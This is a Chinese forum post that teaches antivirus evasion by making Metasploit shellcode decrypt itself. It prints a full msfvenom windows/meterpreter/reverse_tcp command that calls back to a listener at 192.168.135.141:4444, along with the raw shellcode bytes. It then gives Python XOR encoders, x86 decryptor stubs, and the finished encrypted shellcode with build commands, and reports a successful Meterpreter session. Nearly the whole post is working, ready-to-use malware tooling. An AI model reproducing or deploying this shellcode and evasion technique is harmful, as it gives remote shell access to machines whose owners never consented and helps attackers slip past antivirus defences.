免杀学习之如何实现shellcode的自解密
Sta3t 发表于 山东 渗透测试 1221浏览 · 2024-09-01 11:20

摘要

本文介绍如何编写汇编代码来实现shellcode的异或解密

shellcode执行时首先异或解密以提取嵌入的木马代码,然后执行解密后的shellcode

Msf

msf生成初始shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.135.141 lport=4444 -f c -o shellcode.c
\xFC\xE8\x8F\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x0F\xB7\x4A\x26\x8B\x72\x28\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\x49\x75\xEF\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4C\x01\xD0\x8B\x58\x20\x01\xD3\x8B\x48\x18\x50\x85\xC9\x74\x3C\x31\xFF\x49\x8B\x34\x8B\x01\xD6\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE0\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xE9\x80\xFF\xFF\xFF\x5D\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\x89\xE8\xFF\xD0\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x0A\x68\xC0\xA8\x87\x8D\x68\x02\x00\x11\x5C\x89\xE6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0A\xFF\x4E\x08\x75\xEC\xE8\x67\x00\x00\x00\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x83\xF8\x00\x7E\x36\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x83\xF8\x00\x7D\x28\x58\x68\x00\x40\x00\x00\x6A\x00\x50\x68\x0B\x2F\x0F\x30\xFF\xD5\x57\x68\x75\x6E\x4D\x61\xFF\xD5\x5E\x5E\xFF\x0C\x24\x0F\x85\x70\xFF\xFF\xFF\xE9\x9B\xFF\xFF\xFF\x01\xC3\x29\xC6\x75\xC1\xC3\xBB\xF0\xB5\xA2\x56\x6A\x00\x53\xFF\xD5
FCE88F0000006089E531D2648B52308B520C8B52140FB74A268B722831FF31C0AC3C617C022C20C1CF0D01C74975EF52578B52108B423C01D08B407885C0744C01D08B582001D38B48185085C9743C31FF498B348B01D631C0ACC1CF0D01C738E075F4037DF83B7D2475E0588B582401D3668B0C4B8B581C01D38B048B01D0894424245B5B61595A51FFE0585F5A8B12E980FFFFFF5D6833320000687773325F54684C77260789E8FFD0B89001000029C454506829806B00FFD56A0A68C0A8878D680200115C89E6505050504050405068EA0FDFE0FFD5976A1056576899A57461FFD585C0740AFF4E0875ECE8670000006A006A0456576802D9C85FFFD583F8007E368B366A406800100000566A006858A453E5FFD593536A005653576802D9C85FFFD583F8007D285868004000006A0050680B2F0F30FFD55768756E4D61FFD55E5EFF0C240F8570FFFFFFE99BFFFFFF01C329C675C1C3BBF0B5A2566A0053FFD5

字符串的总长度是708,28032位,354字节

异或加密

python异或,依次选择2个字符(1个字节)进行异或处理(选择异或的数据是121,16进制的79)

def xor_shellcode(shellcode):
    result = ''
    shellcode = shellcode.replace(" ", "").replace("\n", "").replace("\r", "")
    for i in range(0, len(shellcode), 2):

        byte = int(shellcode[i:i+2], 16)
        xor_byte = byte ^ 121
        result += format(xor_byte, '02x')
    print("shellcode长度:"+str(len(shellcode)))
    return result

if __name__ == '__main__':
    shellcode = input("shellcode: ")
    xorshellcode = xor_shellcode(shellcode)
    print("Xor_shellcode: "+ xorshellcode)

异或后的shellcode

8591f679797919f09c48ab1df22b49f22b75f22b6d76ce335ff20b51488648b9d54518057b5559b8b67478be300c962b2ef22b69f23b4578a9f23901fcb90d3578a9f2215978aaf2316129fcb00d45488630f24df278af48b9d5b8b67478be41990c8d7a048142045d0c9921f2215d78aa1ff27532f2216578aaf27df278a9f03d5d5d2222182023288699212623f26b90f986868624114a4b7979110e0a4b262d11350e5f7ef09186a9c1e978797950bd2d291150f9127986ac137311b9d1fef4117b796825f09f2929292939293929119376a69986acee13692f2e11e0dc0d1886acfcb90d738637710c95911e7979791379137d2f2e117ba0b12686acfa8179074ff24f133911796979792f13791121dd2a9c86acea2a13792f2a2e117ba0b12686acfa81790451211179397979137929117256764986ac2e110c17341886ac272786755d76fc0986868690e286868678ba50bf0cb8bac289ccdb2f13792a86ac

shellcode最初要执行解密流程

31 c9              ; xor ecx,ecx          ecx置0
B9 62 01 00 00     ; mov ecx, 0x162      ecx赋值为10进制的354,在程序块中将ecx当作循环次数
80 74 08 0d 79     ; xor  byte ptr [eax+ecx*1+0xd],0x79

从后往前进行异或解密,我这里31 c9的上一指令是jmp eax(汇编代码中通过jmp指令跳转到shellcode地址进行执行),所以eax的值就是shellcode的初始地址,也就是31 c9那里,ecx代表的是循环次数(解密次数),因为shellcode是354字节,一次解密一个字节,所以ecx就是0x162(10进制的354),d代表了偏移量,从解密代码的执行到结束(F9的内存地址减去31的程序起始的内存地址)

在执行一次循环后ecx的值会减一,所以在循环354次时,xor byte ptr [eax+ecx*1+0xd],0x79 会解密85这个字节完成最后一个字节的异或解密

E2 F9              ; loop -7     回到xor  byte ptr [eax+ecx*1+0xd],0x79 指令处,循环的一部分

最终shellcode

31c9b9620100008074080d79e2F98591f679797919f09c48ab1df22b49f22b75f22b6d76ce335ff20b51488648b9d54518057b5559b8b67478be300c962b2ef22b69f23b4578a9f23901fcb90d3578a9f2215978aaf2316129fcb00d45488630f24df278af48b9d5b8b67478be41990c8d7a048142045d0c9921f2215d78aa1ff27532f2216578aaf27df278a9f03d5d5d2222182023288699212623f26b90f986868624114a4b7979110e0a4b262d11350e5f7ef09186a9c1e978797950bd2d291150f9127986ac137311b9d1fef4117b796825f09f2929292939293929119376a69986acee13692f2e11e0dc0d1886acfcb90d738637710c95911e7979791379137d2f2e117ba0b12686acfa8179074ff24f133911796979792f13791121dd2a9c86acea2a13792f2a2e117ba0b12686acfa81790451211179397979137929117256764986ac2e110c17341886ac272786755d76fc0986868690e286868678ba50bf0cb8bac289ccdb2f13792a86ac

defuse解码

带入汇编代码编译链接

nasm -f win32 xor.asm -o main.obj
gcc -m32 main.obj -o xor_msf.exe -lkernel32

如果想要通过x32dbg看一下解密流程,可以在x32dbg加载程序后,右键搜索--> 所有用户模块 --> 命令 ,搜索jmp eax命令,打上断点,点运行键让它执行到jmp eax

jmp eax处右键点击转到eax地址反汇编代码处,这便步入了shellcode

具体的解密就那几行汇编代码完成的,断点调试就可以看寄存器以及内存地址的值,在这里就不贴图了

通过Process Monitor查看程序动作能发现msf木马成功执行

改装版异或加密

我们先分析一下msfshikata_ga_nai编码shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.135.141 lport=4444 -f c  -e x86/shikata_ga_nai  -i 1 -o encoded_shellcode.c
\xDB\xCD\xD9\x74\x24\xF4\xB8\x9B\x03\x7F\x6F\x5A\x33\xC9\xB1\x59\x31\x42\x19\x83\xC2\x04\x03\x42\x15\x79\xF6\x83\x87\xF2\xF9\x7B\x58\x6C\x73\x9E\x69\xBE\xE7\xEA\xD8\x0E\x63\xBE\xD0\xE5\x21\x2B\xE6\x4E\x8F\x75\xC9\x4F\x9B\x08\x01\x9E\x5C\x40\x6D\x81\x20\x9B\xA2\x61\x18\x54\xB7\x60\x5D\x22\xBD\x8D\x33\xE2\xB6\x03\xA4\x87\x8B\x9F\xC5\x47\x80\x9F\xBD\xE2\x57\x6B\x72\xEC\x87\x18\xD2\xCE\x77\x1F\x30\x85\x30\x07\x33\x53\xB4\x0B\x0A\x9B\x7C\xF8\x58\xE8\x7E\x28\x91\x2E\x2C\x15\x1D\xA3\x2C\x52\x9A\x5C\x5B\xA8\xD8\xE1\x5C\x6B\xA2\x3D\xE8\x6B\x04\xB5\x4A\x4F\xB4\x1A\x0C\x04\xBA\xD7\x5A\x42\xDF\xE6\x8F\xF9\xDB\x63\x2E\x2D\x6A\x37\x15\xE9\x36\xE3\x34\xA8\x92\x42\x48\xAA\x7B\x3A\xEC\xA1\x6E\x2D\x90\x4A\x71\x52\xCC\xDC\xBD\x9F\xEF\x1C\xAA\xA8\x9C\x2E\x75\x03\x0B\x02\xFE\x8D\xCC\x13\xE8\x2D\x02\x9B\x79\xD0\xA3\xDB\x50\x17\xF7\x8B\xCA\xBE\x78\x40\x0B\x3E\xAD\xFC\x01\xA8\x8E\xA8\x91\xA5\x67\xAA\x9D\xA4\x2B\x23\x7B\x96\x83\x63\xD4\x57\x74\xC3\x84\x3F\x9E\xCC\xFB\x20\xA1\x07\x94\xCB\x4E\xF1\xCC\x63\xF6\x58\x86\x12\xF7\x77\xE2\x15\x73\x7D\x12\xDB\x74\xF4\x00\x0C\xE3\xF6\xD8\xCD\x86\xF6\xB2\xC9\x00\xA1\x2A\xD0\x75\x85\xF4\x2B\x50\x96\xF3\xD4\x25\xAE\x88\xE3\xB3\x8E\xE6\x0B\x54\x0E\xF7\x5D\x3E\x0E\x9F\x39\x1A\x5D\xBA\x45\xB7\xF2\x17\xD0\x38\xA2\xC4\x73\x51\x48\x32\xB3\xFE\xB3\x11\xC7\xF9\x4B\xE7\xE0\xA1\x23\x17\xB1\x51\xB3\x7D\x31\x02\xDB\x8A\x1E\xAD\x2B\x72\xB5\xE6\x23\xF9\x58\x44\xD2\xFE\x70\x08\x4A\xFE\x77\x91\x7D\x85\xF8\x26\x7E\x7A\x11\x43\x7F\x7A\x1D\x75\xBC\xAC\x24\x03\x83\x6C\x13\x1C\xB6\xD1\x32\xB7\xB8\x46\x44\x92

带入汇编代码编译链接

x32dbg通过jmp eax指令定位shellcode

首先mov eax,6F7F0398指令将解密key数据赋值给eax,然后mov c1,59设置循环次数(十进制的89次),xor dword ptr ds:[edx+19],eax指令将 edx+19处的数据与eax异或,异或后的值赋给edx+19这个地址

edx现在的值是00403004,edx+19就是0040301D,从0040301D处读取的4字节数据是8783F679 (倒过来读)

执行后地址数据变为E8FCF5E2

然后add edx,4是为了解密下4个字节数据,之前解密的是从0040301D00403020(8783F679),后就要解密0040302100403024的数据

add eax,dword ptr ds:[edx+15]的含义是修改解密key数据,对应的就是0040302100403024的异或解密数据

思路总结:

msf的编码思路就是先生成了一段4字节的数据(6F7F039B),拿这段数据和E8FCF5E2(0040301D00403020)异或加密,得到8783F679(加密后的shellcode

再让6F7F039BE8FCF5E2相加后的数据587BF97D作为下一个4字节的异或对象,然后循环反复

一句话解释就是拿上一4字节的shellcode加上6F7F039B作为下一个4字节shellcode异或的密钥

手搓版python异或加密更新

def xor_shellcode(shellcode):
    result = ''
    shellcode = shellcode.replace(" ", "").replace("\n", "").replace("\r", "")
    xor_key = 121
    for i in range(0, len(shellcode), 2):

        byte = int(shellcode[i:i+2], 16)
        xor_byte = byte ^ xor_key
        result += format(xor_byte, '02x')
        xor_key = xor_byte
    print("shellcode长度:"+str(len(shellcode)))
    return result

if __name__ == '__main__':
    shellcode = input("shellcode: ")
    xorshellcode = xor_shellcode(shellcode)
    print("Xor_shellcode: "+ xorshellcode)

只用121加密第一字节数据,第二个字节的异或key为第一个字节加密后的数据,往后如此反复

初始shellcode

FCE88F0000006089E531D2648B52308B520C8B52140FB74A268B722831FF31C0AC3C617C022C20C1CF0D01C74975EF52578B52108B423C01D08B407885C0744C01D08B582001D38B48185085C9743C31FF498B348B01D631C0ACC1CF0D01C738E075F4037DF83B7D2475E0588B582401D3668B0C4B8B581C01D38B048B01D0894424245B5B61595A51FFE0585F5A8B12E980FFFFFF5D6833320000687773325F54684C77260789E8FFD0B89001000029C454506829806B00FFD56A0A68C0A8878D680200115C89E6505050504050405068EA0FDFE0FFD5976A1056576899A57461FFD585C0740AFF4E0875ECE8670000006A006A0456576802D9C85FFFD583F8007E368B366A406800100000566A006858A453E5FFD593536A005653576802D9C85FFFD583F8007D285868004000006A0050680B2F0F30FFD55768756E4D61FFD55E5EFF0C240F8570FFFFFFE99BFFFFFF01C329C675C1C3BBF0B5A2566A0053FFD5

python程序异或后的shellcode

856de2e2e2e2820beedf0d69e2b0800b5955de8c9897206a4cc7b59dac5362a20e32532f2d0121e02f2223e4add8376532b9ebfb70320e0fdf54146ce9295d1110c04b133332e16a223a6aef26526e5fa0e96256dddc0a3bfb579659545592aa4a3fcbc8b54d760b2f5abae269311514c7a12a266de6bea2a370fbff7475a52c684c68336809500a5ba4441c4319928069e916e9164b23102222224a3d4e7c23771f532402058c649b4bf3636262624b8fdb8be3ca4a2121de0b616b03c36bec61090b0b1a46cf29792979296939792941aba47b9b64b1264c5c0a5d35ac097d1ce336b373070df2bcb4c12dc5a2a2a2a2c8c8a2a6f0a7cfcd14dc837ca92ad2d2ac9a11274d0d65657575752349492179dd8e6b9441d281ebebbdeeb9d1d30ac29d62b734ccccb199c1a9a9e9e9e98383d3bbb09f90a05f8addb5c0aee3827da8f6a8575b7f70f5857a857a9308f708f7f6351cdaaf6ead16e653f1a7cdcd9e61b4

shellcode最初要执行解密流程

31 c9              ;   xor ecx,ecx         ecx置0
89 c2              ;   mov edx,eax         将eax的数据给edx
31 c0              ;   xor eax,eax         eax置0
B9 61 01 00 00     ;   mov ecx, 0x161      ecx赋值为10进制的353,代表的是循环次数
8a 44 0a 1d        ;   mov    al,BYTE PTR [edx+ecx*1+0x1e]
32 44 0a 1c        ;   xor    al,BYTE PTR [edx+ecx*1+0x1d]
88 44 0a 1d        ;   mov    BYTE PTR [edx+ecx*1+0x1e],al

从后往前进行异或解密,拿最后一个字节b4举例,b4的解密key是上一个字节,也就是61,先使用 mov al,BYTE PTR [edx+ecx*1+0x1e]将地址处的数据赋值给al寄存器(eax的低八位寄存器),再通过xor al,BYTE PTR [edx+ecx*1+0x1d]让上一字节数据与当前数据做异或运算并赋值给al,最后再通过mov BYTE PTR [edx+ecx*1+0x1e],al将源地址处数据修改

E2 F2              ;   loop -14     回到mov    al,BYTE PTR [edx+ecx*1+0x1e]指令处,循环的一部分
80 72 1d 79        ;   xor    byte ptr [eax+0x1d],0x79   使用0x79 Xor解密最后一个数据85

最终shellcode

31c989c231c0B9610100008a440a1d32440a1c88440a1dE2F280721d79856de2e2e2e2820beedf0d69e2b0800b5955de8c9897206a4cc7b59dac5362a20e32532f2d0121e02f2223e4add8376532b9ebfb70320e0fdf54146ce9295d1110c04b133332e16a223a6aef26526e5fa0e96256dddc0a3bfb579659545592aa4a3fcbc8b54d760b2f5abae269311514c7a12a266de6bea2a370fbff7475a52c684c68336809500a5ba4441c4319928069e916e9164b23102222224a3d4e7c23771f532402058c649b4bf3636262624b8fdb8be3ca4a2121de0b616b03c36bec61090b0b1a46cf29792979296939792941aba47b9b64b1264c5c0a5d35ac097d1ce336b373070df2bcb4c12dc5a2a2a2a2c8c8a2a6f0a7cfcd14dc837ca92ad2d2ac9a11274d0d65657575752349492179dd8e6b9441d281ebebbdeeb9d1d30ac29d62b734ccccb199c1a9a9e9e9e98383d3bbb09f90a05f8addb5c0aee3827da8f6a8575b7f70f5857a857a9308f708f7f6351cdaaf6ead16e653f1a7cdcd9e61b4

defuse解码

生成exe程序

执行msf上线

0 条评论
某人
表情
可输入 255
目录